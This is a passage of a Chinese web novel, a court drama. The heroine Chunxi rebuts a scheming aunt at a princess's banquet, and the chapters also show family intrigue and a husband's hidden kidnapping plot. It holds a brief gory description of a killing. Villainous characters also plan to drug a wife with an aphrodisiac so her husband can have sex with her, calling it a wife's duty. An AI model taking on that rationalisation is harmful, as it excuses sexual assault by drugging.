春喜停下来,挑眉:“穆三小姐不是很关心我是怎么逃出来的吗,我这里还有好多细节呢,其实人的脑袋很硬,要砸好多下才能砸破,刚开始砸下去出来的是血,温热的,溅到手上会有点黏……” 穆三小姐听得毛骨悚然,她再也无法面对春喜,苍白着脸落荒而逃,其他人也不想继续听春喜说杀人的经过,全都散开。 周围安静下来,春喜这才看向萧清月,却见萧清月蹙着眉头,一脸警惕地看着自己:“你真杀人了?” 春喜故意逗她,举起刚刚抱过她的双手说:“杀了,就用这双手杀的。” 萧清月的眉头皱得更紧,想到春喜刚刚的描述,心里也有些翻涌反胃,嘴上却道:“那些绑匪作恶多端,你杀了他们是为了自保,不能怪你。” “月儿,你真是越来越可爱了。” 春喜忍不住想捏捏萧清月的脸,萧清月连忙躲开:“说话就说话,你别动手动脚。” 不知道是不是心理作用,她感觉自己从春喜的手上闻到了血腥味。 春喜被萧清月逗乐,正想解释自己刚刚自己吓唬人的,恒阳公主匆匆走来:“云晚棠跟禾儿一起来了。” 云晚棠和禾儿的容貌出众,过去这些年一直备受瞩目,两人一起出现,很容易就吸引了所有人的目光。 云晚棠早就习惯了被人瞩目,她面带笑容,温柔有礼地跟众人打着招呼。 那晚被打后,云晚棠不只亲自登门向春喜道了歉,也去其他世家夫人家中说明这事都是因她而起,其他人都是被她连累的,还贴心地奉上了礼物。 虽然大家已经知道驸马并不喜欢云晚棠,关于恒阳公主横刀夺爱的传言都是假的,但云晚棠亲自登门解释后,众人又不自觉地偏向了她。 云晚棠这么善解人意,比刁蛮跋扈的恒阳公主讨人喜欢多了,就算当年驸马并不喜欢云晚棠,这些年和恒阳公主过得肯定也并不开心,不然恒阳公主怎么这么多年都没生下一子半女? 恒阳公主若是自信自己比得过云晚棠,根本就不会在意那些无稽之谈,这次醉酒生事,恰恰证明恒阳公主心虚,怕云晚棠回来会将自己比下去。 堂堂公主,竟然连这点儿容人之量都没有,真是可笑。 这是那晚打架之后,云晚棠和恒阳公主第一次在众人面前露脸,众人不自觉在心底比较起两人来。 恒阳公主对这样的目光也很熟悉,她低声对春喜说:“这些人以为自己装得很好,其实本公主一眼就能看出她们在想什么,如果她们知道本公主正想着把她们的眼珠子挖下来喂狗,不知道还有没有胆子这么看着本公主。” 话音落下,萧清禾和云晚棠走了过来。 两人先向恒阳公主行礼,起身后,萧清禾忍不住拉住春喜:“小婶婶,你没事真是太好了,这些日子一点儿消息没有我都担心死了。” 萧清禾的语气难掩激动,春喜也给了她一个大大的拥抱:“这些日子我也很想禾儿。” 两人抱在一起的画面很美好,站在旁边的云晚棠让恒阳公主觉得很是碍眼,恒阳公主翻了个大大的白眼,睨着云晚棠:“你来做什么,本公主请你了吗?” 恒阳公主做事随心,她不喜欢云晚棠,之前云晚棠给她送帖子,她不会为了彰显自己大度去赴宴,还在同一天把春喜约到公主府来,让春喜明确站队。 今天的宴席,她同样不会给云晚棠发帖子来搏好名声。 她和驸马之间的误会虽然解除了,但她还是不喜欢云晚棠。 恒阳公主没有刻意压低声音,本就一直关注着她们的众人立刻竖起耳朵。 云晚棠并不觉得尴尬,温温柔柔地开口:“公主的确没有邀请臣妇,是臣妇自作主张来的,臣妇的侄媳妇,也就是沈夫人的妹妹沈清迟已经被关押在大理寺很多天了,她还怀着身孕呢,臣妇今日来是想求沈夫人和公主放她一马。” 春喜失踪后,恒阳公主看谁都像幕后凶手,在场不少人都接受过大理寺的讯问,不用想都知道沈清迟也是因为恒阳公主才被关进大理寺的。 莫氏死后,沈清迟悄无声息地成了太傅府的四少夫人,连婚礼都没办,可见娘家根本无人帮她撑腰,云晚棠这个回京不久的五婶却愿意拉下脸面来公主府帮她求情,反而更像是沈清迟的娘家人。 对比起来,春喜和沈清渊也太没有人情味了。 众人不觉得云晚棠不请自来很无理,反而全都义愤填膺起来。 恒阳公主跟曹春喜关系好,难道就可以让大理寺随便抓人了吗? 春喜将众人的神情尽收眼底,她并不慌张,冷静开口:“大理寺办案都是讲证据的,夫人若有证据证明你侄媳妇的清白,可以直接去大理寺帮她喊冤,夫人若是觉得大理寺处置不公,请卫大少爷告到御前去也是可以的,夫人是卫大少爷的亲小姨,难道让他在御前帮忙说句话都不行?” 第222章 没说让你走,你就不能走 “陛下日理万机,怎好在御前说这种小事,而且事情闹大了,对公主和沈夫人的名声都不好,我还是觉得私下解决比较好。” 云晚棠语气柔柔,倒像是好心在为春喜和恒阳公主考虑。 春喜勾唇笑出声来:“原来夫人眼里的私下解决是要当着这么多世家贵人的面才行啊,夫人今日闹这一出,应该比在御前说这件事对公主和我的名声影响更大吧?” 陛下是恒阳公主的亲哥哥,就算天大的事捅到御前,也难以外传,可当着这么多世家夫人的面掰扯这件事,能传出什么那就不一定了。 春喜之前只觉得云晚棠对自己有些过于殷勤,到了这会儿才发现,云晚棠这个人挺厉害的。 她不会像莫氏那样把算计写在脸上,也不会像莫芸婉那样装可怜博同情,她会对所有人释放善意,让所有人都觉得她是个好人,然后再打着为别人好的名号,站在高处将别人踩在脚下。 就像现在,明明是她不请自来,搅扰了恒阳公主的宴席,但所有人都觉得她是为无依无靠的侄媳妇打抱不平的好长辈,是春喜狗仗人势,故意欺人。 云晚棠没接春喜的话,转而道:“沈夫人,迟儿毕竟唤你一声大嫂,她娘已经不在了,现在又怀着身孕,便是她一时糊涂犯下什么错,也希望你能多包容她一些。” 云晚棠的姿态放得很低,最后一句话甚至带了两分祈求。 她年纪比春喜大,从沈清迟这边的关系算,辈分还在春喜之上,她当着这么多人的面用这种语气跟春喜说话,越发显得春喜蛮横无理了。 曹春喜算什么东西,也配让云晚棠如此低声下气? 果然,云晚棠刚说完,便有夫人看不下去,出声帮腔:“沈夫人,虽然你和沈大人已经分府出去住了,但跟侯府还是一家人,你婆母尸骨未寒,你这样欺负你妹妹怕是不妥吧。” 有人开了头,立时有人跟着附和:“是啊,人家还怀着孕呢,万一腹中孩子有个好歹,你这不是作孽吗?” 一时间议论声四起,都在指责春喜心狠手辣,翻脸无情。 春喜失踪一个多月才回来,本就会有很多闲言碎语,萧清月怕她惹来更大的麻烦,忍不住小声道:“要不你还是把人放了吧,大家都在说你呢。” 萧清禾低声呵斥:“月儿,不是说小婶婶的人多,就是小婶婶有错,大理寺不会随便乱抓人的。” 春喜飞快给萧清禾竖了个大拇指,而后扬声道:“我被绑匪绑走了一个多月,这两日好不容易才死里逃生回来,诸位这话说得怎么好像是我把太傅府四少夫人抓进大理寺去的,我曹春喜有这个能耐能使唤得动大理寺的人吗?” “你是使唤不动大理寺的人,但公主可以啊,这些日子公主可没少逼着大理寺到处抓人问话。” 春喜点点头,抓住关键:“所以大理寺最近不止抓了沈清迟一人,还抓了其他人,其他人都没事,就她还被关着不放,你们觉得公主不惜用皇家的威严压着大理寺只为了在我生死未卜的时候针对她把她关起来?” “……” 众人一时哑口无言。 她们的确都被大理寺的人问过话,但并没有被严刑逼供,更没有屈打成招,恒阳公主虽然喜欢曹春喜,但也不至于真的为了一个生死未卜的人把事做绝。 眼看春喜就要扭转局面,云晚棠再度开口:“沈夫人,迟儿刚刚经历了丧母之痛,可能一时糊涂犯错,但请你看在孩子的份儿上,高抬贵手饶了她这一次,以后我一定会好好管束她的。” 云晚棠始终没有说沈清迟到底是为什么被关了这么久,只是翻来覆去地要求春喜放过她。 沈清迟死了娘,又怀了身孕,不管犯下什么错,春喜这个做大嫂的都不能计较。 云晚棠一开口,原本被春喜哽得说不出话的众人又找到了可以讨伐春喜的地方,等她们都说够了,春喜才冷静开口。 “大理寺是已经给沈清迟定罪了吗,她是会被砍头还是会被流放?夫人要我放过她,是想让我回家求我家大人篡改昭陵律法,将她无罪释放吗?那日后再有小姑子一时糊涂害了嫂嫂,是不是都可以和她一样被放过?” 当只是春喜和沈清迟的矛盾时,众人都可以理所当然地觉得沈清迟是弱势的一方,帮沈清迟说话,但当春喜把这件事放大到小姑子和嫂嫂上面来,众人就犹豫了。 在场的不管是已经嫁为人妇的,还是尚未出阁的,都有可能面对这个问题,要是小姑子可以肆意伤害嫂嫂而不受到惩罚,她们日后万一碰上怎么办? 指责春喜的声音一下子小了下去,云晚棠蹙眉道:“沈夫人,我没有要你去篡改律法,我只是觉得迟儿怀着身孕,一直待在牢里对她和孩子都不好,绑架你母亲和侄儿的事是莫家二夫人做的,莫二夫人已经供认不讳了,迟儿犯的不过是小错,只要沈夫人不与她计较,这件事就过去了。” “既然是小错,大理寺应该也不会如何为难她,夫人今日这么大张旗鼓地来,究竟是为她求情的,还是故意宣扬此事,好让别人都知道你太傅府四少夫人坑害长嫂,言行不端,好等她日后生下孩子再找机会休了她?” 春喜眼神明亮,头脑清晰,完全不被云晚棠带歪。 云晚棠知道春喜不是善茬,但没想到她会如此难缠,眼看春喜要反泼脏水到她身上,只能软了语气道:“我只是心疼迟儿,既然沈夫人不肯罢休,那就当我今日没有来过吧。” 云晚棠说完转身就要离开,好留给众人无限遐想的空间,春喜扬声道:“等等。” 话落,公主府的丫鬟立刻拦住云晚棠的去路。 云晚棠回头,有些生气地看着恒阳公主:“公主这是什么意思?” 恒阳公主歪了歪头,淡淡道:“没什么意思,就是告诉你,这是公主府,本公主的客人没说让你走,你就不能走。” 第223章 顺便也给我道个歉吧 “沈夫人好威风啊。” 被公主府的人拦下,云晚棠也并不慌张,只盯着春喜说了这么一句话。 她夫君是翁州刺史,娘家和岳家都很德高望重,当着这么多人的面,她相信即便是恒阳公主,也不敢如何伤她。 恒阳公主和曹春喜越是刁难她,反而会让她和其他世家夫人的关系更好。 云晚棠面上平静,心里其实期待着春喜能够对她做点儿什么。 然而春喜并没有因为有恒阳公主撑腰而暴露粗鄙的泼妇面目。 “夫人方才已经承认沈清迟一时糊涂犯了错,那至少说明大理寺不是迫于公主的威压才抓的人,夫人是不是该向公主道个歉?” 春喜开口,语气温和平静。 云晚棠下意识地辩解:“沈夫人,我从来都没有说过公主用权势压人。” “夫人是没有直说,但夫人暗示了,大家都因此误解了公主,公主的名声已然受损,不是吗?” 这种手段,云晚棠用过很多次。 只要她是出于善意的,说一些似是而非的话,便会有很多人支持附和她,帮她达成她想要的目的。 被冤枉的人自然会委屈愤怒,但她又没有直说,是大家自己这么想的,怎么怪得到她头上呢? 当然,也不是没有人戳穿过。 但对方不是暴怒不已,咄咄逼人,就是委屈得泣不成声,即便戳穿,也不会改变旁人对她的态度。 像春喜这样冷静又敏锐的当众戳穿她的,今天还是第一次。 云晚棠沉默了片刻开口:“臣妇刚刚失言,还请公主恕罪,但臣妇敢用性命起誓,臣妇只是关心则乱,绝对没有故意引导大家误解公主的意思。” 一句关心则乱,立刻让众人想起,云晚棠是为沈清迟求情来的。 沈清迟是沈清渊的妹妹,跟云晚棠其实关系不亲,云晚棠完全是出于好意才揽了这一摊子破事。 到了这会儿,春喜都有些叹服云晚棠的能力了。 她在卫家也算是见过世面,但像云晚棠这样,能把无理取闹的事扭曲得这么正义凛然的,她还是头一次见。 云晚棠道歉道得爽快,恒阳公主也没为难她,哼了一声算是接受她的道歉。 云晚棠复又看向春喜:“沈夫人满意了吗,可以让我走了吗?” “夫人是跟公主道歉,只要公主满意就好。” 春喜带着讨好的语气回答,姿态放得很低,没有凌驾于恒阳公主之上,而后又道:“夫人既然承认自己错了,那顺便也给我道个歉吧。” 这个要求春喜提得理直气壮,众人都觉得不可思议,连云晚棠都有些绷不住:“我为什么要跟你道歉?” “很简单啊,沈清迟这个时候被抓进大理寺,说明她多多少少跟绑架我这件事有些关系,她在牢里好歹三餐不愁,而我被绑匪掳劫,时刻都有被杀的风险,回来后还要被夫人煽动一群人骂冷血绝情,夫人给我道个歉难道不应该吗?” 云晚棠一直含糊其辞,说沈清迟只是犯的一个小错,给人一种春喜强势、不饶人的错觉。 春喜把自己经历的危险说出来,众人这才反应过来,沈清迟被卷入的是一桩三品官员的夫人被绑架的大案。 春喜要是没能活着回来,沈清迟那可是有可能被判定谋害长嫂的。 没给云晚棠说话的机会,春喜紧接着道:“方才夫人一直让我怜惜沈清迟腹中的孩子,夫人可知道和我一起被绑的还有我出生才几个月的侄儿,难道只有你们太傅府的血脉值得怜惜,我侄儿的命就不是命了吗?” 春喜的声音不住拔高,眼眶也跟着泛红,似是心疼自己年幼的侄儿遭受了这一场无妄之灾。 萧清月原本是想让春喜多一事不如少一事的,听到这里忍不住开口:“夫人才名远播,我原以为夫人与我阿姐一样,是明辨是非的好人,如今看来夫人也是逢高踩低之辈。” “我小婶婶和她侄儿虽然出身低微,但也是活生生的人,他们被人绑架差点死掉,夫人凭什么三言两语就要他们原谅想要害他们性命的人?” 萧清月经常听人把云晚棠和萧清禾放在一起比较,所以哪怕她之前没有见过云晚棠,也先入为主地对云晚棠有好感。 云晚棠刚开始帮沈清迟求情的时候,她虽然觉得有些不妥,却也认为云晚棠是好心,可听完春喜的话,她发现云晚棠的好心只对沈清迟,一点儿也不公平。 云晚棠早就习惯在别人口中被比较,但那都是她压过其他人,从没有人说过她不及谁。 萧清月这番话让云晚棠觉得刺耳极了。 她嫁了个好夫君,有了两个孩子也还是保持着美貌,在婆家更是人人称赞。 而萧清禾婚后一直使小性子,不仅没有做好泽儿的贤内助,还胳膊肘往外拐,凭什么跟她比? 云晚棠心中冷笑,却不能直接说出来反驳萧清月,只能把矛头对准春喜。 “迟儿不过是犯了小错,就被沈夫人说成了绑架案的主谋,我帮迟儿说了几句话,就被扣上是非不分的帽子,沈夫人这张嘴真是杀人不见血啊。” 云晚棠并不辩解什么,却叫人觉得她受了天大的委屈。 春喜抬手鼓掌,由衷道:“我还年轻,阅历不够,还是比不上夫人能说会道,夫人不请自来,莫名其妙骂我一通自己还委屈上了,我一个刚从鬼门关回来的人都不知道该上哪儿说理去了。” 两人各执一词,听着还都挺有道理的。 气氛正僵滞着,驸马突然穿过众人大步走了过来。 虽说这会儿不是该分神的时候,但驸马的美貌还是再一次给春喜造成了冲击。 她离开不过月余,怎么感觉驸马如今春风得意,像是年轻了十来岁? 驸马径直来到公主身边,而后面向众人朗声道:“本驸马方才去大理寺问清楚了,在绑架案之前,沈清迟多次出入莫家,言语刺激莫二夫人,并暗示莫二夫人可以对沈夫人的娘家人下手,其用心之恶毒,诸位可以自行想象。” 驸马说完看向云晚棠:“夫人这么关心沈清迟,应该早就去大理寺把前因后果问清楚了吧,这样的人,夫人当真觉得应该轻易饶恕?” 云晚棠:“……” 驸马为什么突然也管起这种闲事来了? 第224章 以后少掺和别人家的破事 驸马的突然出现让僵滞的场面向春喜这边倾斜起来。 沈清迟有挑唆、借刀杀人的意图,那这用心甚至比主犯还要恶毒。 这换做谁都是不能容忍的。 都这样了,云晚棠也还是不慌,只是露出震惊又难以置信的表情:“怎么会这样,我去看迟儿的时候,她不是这样说的。” 云晚棠声音微颤,完全是被沈清迟蒙骗的样子。 她才刚回京,跟沈清渊和春喜也没什么深仇大恨,若不是受了蒙骗,也没有理由帮着沈清迟来为难春喜,众人很容易就相信了她。 云家阿棠一直都是这么善良的,被诓骗了去也很正常,毕竟沈清迟肚子里还有太傅府的血脉呢。 不管云晚棠是真的不知情,还是装的,这件事都算不上什么大事,春喜没指望能让她付出什么代价,她没有顺着云晚棠的话继续探究这件事,把话题拉回来:“夫人现在已经知道真相了,可以跟我道歉了吗?” 云晚棠知不知情不关春喜的事,这个道歉春喜反正是受得起的。 云晚棠捏紧绢帕。 她本以为春喜失踪这么久,说不定已经曝尸荒野了,没想到春喜竟然又好端端的回来了,她今日来是想趁机踩着春喜帮其他世家夫人出口恶气,好提升自己的好人缘的,结果事情的发展又一次出乎了她的想象。 曹春喜比恒阳公主的地位低多了,今天她如果真的跟曹春喜道了歉,那她在大家心中的形象不说一落千丈,那也会大不如从前。 “沈夫人……” 云晚棠试图让春喜改变想法,恒阳公主直接催促:“做错事该道歉就道歉,你若是磨磨唧唧不想动,本公主也可以让人教教你该怎么道歉。” 恒阳公主非常强势,好像下一刻就会让人上前按着云晚棠下跪。 若是如此,那场面未免也太难看了。 云晚棠把最后一丝希望寄托在萧清禾身上,希望萧清禾能帮她求求情,然而萧清禾只是柔声道:“小姨,今日之事,确实是你错了。” 萧清禾刚说完,萧清月又补充道:“小婶婶只是让你道个歉,又没有逼着你原谅要杀你的仇人,你刚刚那么能说,这会儿有这么难以启齿吗?” 事实摆在眼前,春喜的要求的确也不过分,没人敢再帮云晚棠说话。 云晚棠最终只能开口:“沈夫人,抱歉,今天是我误会你了,我向你道歉。” “没关系,以后夫人可以多了解我一下,我这个人看着不好相处,其实挺大度的,夫人现在可以走了。” 给春喜道歉对云晚棠是极大的羞辱,她一刻也不想在这里待,但还是礼数周到地向恒阳公主道了歉,然后才转身离开,只是她才走了没几步,又听到春喜说:“公主殿下,臣妇记得刚才有几位夫人也帮着骂臣妇了,还请公主殿下为臣妇做主,看看这几位夫人是不是也该跟臣妇道个歉?” 云晚棠猛然停下脚步,折返身瞪着春喜:“沈夫人,今日之事都是因我而起,我已经向你道歉了,你为什么还要为难其他人?” 春喜眨眨眼,一脸委屈:“她们刚刚把我骂得狗血淋头,我都没有骂回去,只是想要个道歉,我这就是在为难她们,那她们方才骂得那样难听岂不是在逼我去死?” “……” 在场好些人都是见过春喜一哭二闹三上吊的本事的,她们没有云晚棠这样自视清高,连忙道歉,免得多生事端。 得了道歉,春喜立刻诚恳劝诫:“诸位夫人都是有头有脸的体面人,以后出门闷声看热闹就好了,少掺和别人家的破事,万一招惹上什么睚眦必报的小人就不好了,对吧?” 说这话时,春喜眉眼弯弯,脸上全是得意的笑,把小人得志四个字演绎得淋漓尽致。 这些世家夫人看得心里很是憋屈,但心里又因为春喜的话生出警惕。 曹春喜就是个混不吝的市井俗人,万一她因为一句话怀恨在心,让沈清渊在朝堂上找些芝麻大的小事弹劾她们的夫君,那就太烦人了。 以后还真得少插嘴她的事才行。 今日这热闹让恒阳公主看得十分痛快,见云晚棠还站在那里没走,恒阳公主扬声道:“夫人怎么还不走,今日的宴客名单没有你的名字,待会儿本公主可不管饭啊。” 恒阳公主一点儿面子都没给,云晚棠的脸色有些难看,但还是坚持向那几位帮她说过话的世家夫人道了歉才转身离开。 闹了这么一出,原本想看春喜笑话,借春喜失踪一事发挥的人全都闭了嘴。 曹春喜那张嘴厉害死了,穆三小姐和云晚棠都在她手里吃了瘪,她们可不能再去引火烧身。 恒阳公主实在高兴,不顾几人劝阻,又让下人取了两坛好酒来。 春喜先给驸马敬了一杯,谢他及时赶来说出真相,驸马温声道:“公主殿下很喜欢沈夫人,我这样做,也不过是投公主所好罢了。” 和前几次见面的疏离不同,驸马对公主的态度转变很大。 春喜眼前一亮,看看驸马又看看公主,满眼都是对八卦的渴望。 她离开不过月余,驸马和公主这就浓情蜜意上了,她都错过了什么? 恒阳公主白了春喜一眼:“看什么看,没看过别人拍马屁?” “拍马屁臣妇见得多,”春喜点头,而后道,“但像驸马这么好看的人拍马屁,臣妇还是第一次见。” “噗!” 萧清月没忍住,被春喜的话逗得笑出声来。 恒阳公主也弯了眸,萧清禾绷着笑提醒:“小婶婶,月儿还小,你别把她带坏了。” 萧清月也觉得有些失礼,她连忙转移话题:“小婶婶,刚刚那么多人都在说你不好,要是没有公主帮忙撑腰,你会服软吗?” 她虽然有些骄纵,却也不敢跟那么多世家夫人对着干。 春喜又给自己倒了杯酒,轻轻碰了下萧清月的酒杯:“那么多人都在说我不好,我要是也说自己不好,那我岂不是真的不好了?” 第225章 只要有个孩子就好了 恒阳公主今天很高兴,非要拉着春喜喝酒,春喜本来是要义正言辞拒绝的,驸马主动道:“我会帮忙看着公主,也已通知沈大人下值后来公主府接人,沈夫人可以放心喝。” “你算什么东西,也敢看着本公主?” 恒阳公主很补客气的觑了温砚书一眼,而后揽着春喜的胳膊道:“好阿喜,你从鬼门平安归来,今天又大杀四方,咱们今日一定要好好庆祝一番,还有禾儿、月儿,你们也一起啊。” 怕她们放不开,恒阳公主直接把温砚书赶走。 恒阳公主只顾着自己高兴,根本不管其他人,众人吃了饭,还是温砚书安排下人送客的。 傍晚,萧清禾和萧清月先行离开。 萧清月刚开始还克制着不敢在恒阳公主面前太放肆,后来被春喜感染,整个人就放开了,但她酒量不行,几乎是被丫鬟婆子扛出来的。 “回去之后先让厨房熬上醒酒汤,沐浴的时候别让月儿一个人,多盯着她些,夜里她可能要撒酒疯,还会吐,让院子里的人警醒些,别闹出什么笑话。” 萧清禾细细叮嘱了一番,等萧清月的马车转过街角,自己才上马车。 她今天也多喝了两杯,但没到醉的程度,只是微微有些上头。 雀枝见她唇角一直扬着,难得开怀,忍不住问:“夫人难得高兴,怎么不跟公主和沈夫人他们多玩一会儿?” “不了,等以后吧。” 萧清禾摇摇头。 她现在还是卫家妇,不能太离经叛道,等日后和离成功了,有的是机会跟小婶婶和公主畅饮。 到时她也要放纵自己大醉一场。 虽然没有完全尽兴,但一路上萧清禾都是高兴着的,然而回到卫家,却被叫到主院。 刚进院,云晚棠就迎上来:“禾儿,对不起啊,都是小姨不好,一时心软信了沈清迟的鬼话,我走之后公主和沈夫人没有为难你吧?” 云晚棠一脸的自责关切,好像不管什么时候,她都全然不顾自己,优先为别人考虑。 但如果她真的善良,就不该只心疼怀着太傅府骨血的沈清迟,而选在这样的时机向小婶婶发难,更不该哄骗自己,擅自去往公主府搅扰宴席。 萧清禾之前还对云晚棠有些好感,今日看到云晚棠和春喜当众对峙,那点好感就没了。 云晚棠和卫家还有卫凌泽一样,乍一看挺好的,但细细相处下来,会在不知不觉之中被无数根小刺在扎得鲜血淋漓。 萧清禾垂下眸子不想回答,云氏闻到了她身上淡淡的酒气,皱眉道:“她们逼你喝酒了?你的身子还没调养好,便是公主也不能如此逼迫你啊。” 云氏这话听着像是在为她考虑,实则语气很不满。 不满她和小婶婶还有恒阳公主走得太近,更不满她喝了酒,这么晚才回来。 “母亲,”萧清禾开口,同时抬头看着云氏,“没人逼我喝酒,是我自己想喝的,小婶婶平安归来,我很高兴,公主并没有因为小姨的搅扰而迁怒我,反而对我以礼相待,能跟她们一起喝酒,是我这几个月来做的最开心的事。” 喝了酒,萧清禾的脸有些红,眸子也比平时更润,但眸光很亮,看向云氏的眼神也很坚定。 她很明确自己喜欢什么,想做什么。 她是卫家的新妇,却也还是她自己。 萧清禾的语气虽然柔和,表现出来的姿态却让云氏感觉到了顶撞。 云氏皱紧了眉头。 以前禾儿听话懂事,是世家贵女的典范,云氏是真的很喜欢她,可是最近禾儿越来越逆反不听话了。 若是禾儿也像曹春喜和恒阳公主那样肆意妄为,以后还担得起卫家主母的重担吗? 云晚棠看出了云氏的担忧,怕云氏一时冲动说出什么不利于婆媳关系的话来,抢先道:“禾儿没被为难就好,我今日确实是太冲动了,不知公主喜欢喝什么酒,改日我想办法找几坛好酒,禾儿帮我带去向公主赔个罪吧。” 若是云晚棠自己去送,恐怕连公主府的门都进不了,只能借萧清禾的手。 萧清禾并不想做这个中间人,正要拒绝,卫凌泽黑着脸大步走进主院。 他的脸色很是难看,一身气压极低,明显是冲萧清禾来的,但见云晚棠在,卫凌泽的脸色稍微缓和了些。 “泽儿,发生什么事了,你怎么瞧着如此生气?” 云氏第一时间表示关切,卫凌泽抿了抿唇,冷声道:“没事。” 他不想当着云晚棠的面说这些。 云氏很是担忧,还想追问,云晚棠拦住她:“泽儿在宫里忙了一天肯定累了,阿姐就让他和禾儿待一会儿放松放松吧。” 云氏放萧清禾跟卫凌泽离开,等两人走出院子,立刻忍不住不满道:“禾儿真是越来越不像话了,她明知道曹春喜和恒阳公主的酒品不好,还跟她们一起喝酒,也不怕闹出什么丢人的事来!” 云晚棠很能理解云氏的心情,她幽幽道:“禾儿这些年一直循规蹈矩,突然看到曹春喜和恒阳公主活得那么恣意热烈,会心生向往也很正常,但只要有了孩子,她就不会这样想了。” 这话让云氏的眉头皱得更紧,她生气道:“我也很想抱孙子,但她现在连碰都不让泽儿碰,怎么生得出孩子?” 云氏刚说完,就听到云晚棠说:“清醒的时候不让碰,那就想办法让她糊涂一点好了。” 云氏眼皮一跳,猜到云晚棠是要用那种手段,忍不住说:“这样不好吧,万一禾儿闹回萧家……” “阿姐,侍奉夫君是为人妻者的本分,况且她和泽儿又不是没有同过房,她有什么脸回家去闹?” 云晚棠语气幽幽,云氏全都听了进去。 是了,泽儿跟禾儿是夫妻,两人同房是再正常不过的事,禾儿就算不情愿,事成之后,总不至于要死要活的闹得两家脸上都不好看。 只要有了孩子,禾儿就不会再生出别的心思了。 送走云晚棠,云氏当即命心腹婆子去外面寻能让人动情的药来。 第226章 公主殿下,求你 萧清禾刚跟卫凌泽走出主院,就听到他阴沉沉地质问:“你今天跟谁喝的酒?” 他的语气很冷,不是关心,反而藏着怒火。 萧清禾很清楚,她如果单单只是在外面喝了几杯酒,卫凌泽不至于气成这样,他的怒火很大一部分是冲着春喜去的。 可是为什么呢? 小婶婶平安归来,他为什么要如此生气呢? 萧清禾想不明白,淡声回答:“我在公主府,跟月儿还有小婶婶她们一起喝的。” “你早就知道曹春喜回来了,为什么不跟我说?” 卫凌泽拔高声音,给人一种他被蒙在鼓里让人玩弄的错觉。 萧清禾并不害怕,只是不可理喻地看着他:“我为什么要告诉你,你和小婶婶有什么特别的关系吗,她的行踪一定要让你知道吗?” 萧清禾接连发问,眼神很冷。 卫凌泽咬牙道:“你知不知道这段时间我花了多少心力接待使臣团,结果曹春喜一回来,御史台那群老匹夫就迫不及待的进谏让沈清渊也一起接待,就是因为我毫无防备,才让他摘走了我这几日的果实!” 说到最后,卫凌泽有些气急败坏。 其实被沈清渊摘走果实还是次要的,主要的是他不知道春喜已经回京,认定春喜已经还在自己的股掌之间,御史台那些人推举沈清渊时,他还一直拿曹春喜说事,事后回想起来,简直愚蠢至极。 若是萧清禾早点透露这个消息,他也不至于差点儿在御前露馅儿! 萧清禾无法对卫凌泽的愤怒感同身受,她冷静道:“朝堂上的事我不懂,陛下要重用沈叔叔自然有陛下的道理,你在这里跟我发火也改变不了什么。” 卫凌泽当然知道现在发火只是无能狂怒,他深吸了两口气又问:“曹春喜是怎么逃回来的?是只有她和那孩子回来,还是有别人跟她一起回来?” 他在云州置了宅子,安排了人手看着春喜,等这阵风头过了,沈清渊放弃找人了,他就可以偷偷把人接回来慢慢报复。 他花重金雇了两个亡命之徒押送春喜,在云州接头后,那两个人就会被灭口,而云州的人除了奶娘,根本没人知道是在为他做事,更不可能知道春喜的身份。 完整的计划只有他一个人知道,他不知道是哪里出了错,竟然让春喜又回到了瀚京。 春喜知道他全部的计划了吗?她有人证吗?她跟沈清渊说过了吗? 回家的路上,无数疑问涌入卫凌泽的脑子,以至于他顾不上萧清禾会不会察觉什么,只想从萧清禾口中了解更多的讯息。 听完卫凌泽的问话,萧清禾的眼神越发冷了:“你突然这么关心小婶婶做什么?” “回答我的问题!” 卫凌泽猛然怒吼,像是一头被彻底激怒的野兽。 萧清禾被他吼得浑身一颤,之前被扼住喉咙的恐惧又涌上心头,她警惕地往后退了一步,不敢再刺激卫凌泽,如实道:“小婶婶是在徐州被誉王世子妃的人救下来的,绑架她的绑匪均已被杀,誉王世子妃得知小婶婶的身份后,便带着小婶婶和她侄儿一起回京。” 徐州? 不对,他制定的路线根本不会经过徐州,又怎么可能遇到誉王世子妃? 曹春喜在撒谎! 可誉王世子妃根本不认识曹春喜,怎么会帮着她撒谎呢? 卫凌泽想不通,只能狐疑地看向萧清禾,萧清禾冷声道:“我说的都是实话,你若是不信,可以亲自找誉王世子妃求证,而且皇后和太后也是知道这件事的。” 这件事一定有问题,他必须查清楚才行! 卫凌泽心急如焚,丢下萧清禾大步离开。 等他走出很远,萧清禾才垮了肩膀松懈下来,有种劫后余生的庆幸。 幸好她早就不爱他了。 幸好她早就下定决心要离开,后半辈子不用一直生活在这样的恐惧之中。 夜幕降临,沈清渊才踏着烛火来接春喜。 恒阳公主尚未尽兴,还想拉着沈清渊一起喝,被沈清渊拒绝:“明日还有公务要处理,为免误事,下官不能喝。” “嘁,人老了就是没劲。” 恒阳公主很是嫌弃,还要拉着春喜继续喝,沈清渊直接把春喜拦腰抱起:“时辰不早了,下官先带内子回家了。” “不行……” 恒阳公主想留人,被驸马及时拦住:“沈夫人该回家了,公主还想喝,我可以奉陪到底。” 沈清渊很快抱着春喜离开,恒阳公主盯着驸马那张脸看了半晌,最后嫌弃道:“你这张老脸我都看腻了,没劲。” “过去十年公主光顾着看别人去了,何曾正眼看过我,怎么就腻了呢?” 驸马语气哀怨,约莫觉得他说这话有道理,恒阳公主又仔细看了看他的脸。 “温砚书,你这张脸生得可真好啊,这么多年,本公主阅男无数,也没找到比你更好看的,若不是被这张脸蛊惑,本公主也不至于被人指指点点,平白浪费了十年光阴。” 十年啊。 不是一日两日,而是三千多个日日夜夜。 这可是一个女子最好的光景。 恒阳公主明显醉了,眼尾控制不住泛红,温砚书半跪在她面前,轻柔地帮她拭去眼尾的水光。 “是我不好,虚耗了公主这么多年,以后我会好好弥补公主的。” “你拿什么弥补,你赔得起吗?” 恒阳公主说着要拂开温砚书的手,却被温砚书抓住,强势地与她十指相扣:“我可以拿我拥有的一切弥补,这辈子赔不完,下辈子下下辈子接着赔,直到公主觉得赔清了为止。” 这话说得倒是挺好听的。 恒阳公主勾了勾唇,而后猛然倾身,一口咬住温砚书的唇。 狗东西,白白浪费十年,你现在倒是知道该怎么说话哄本公主开心了。 恒阳公主咬得挺狠,温砚书吃痛地闷哼一声,呼吸微乱,但他没有退后,反而扣住恒阳公主的脑袋,和她贴得更紧。 “公主,上次借种好像没有成功,再来一次,如何?” “好啊,你求本公主啊。” 温砚书支起脑袋,被咬破的唇瓣涌出血珠,近乎妖冶:“公主殿下,求你。” 第227章 内子受了惊吓,所以有些黏人 春喜被沈清渊抱上马车后一直咧着嘴在傻乐。 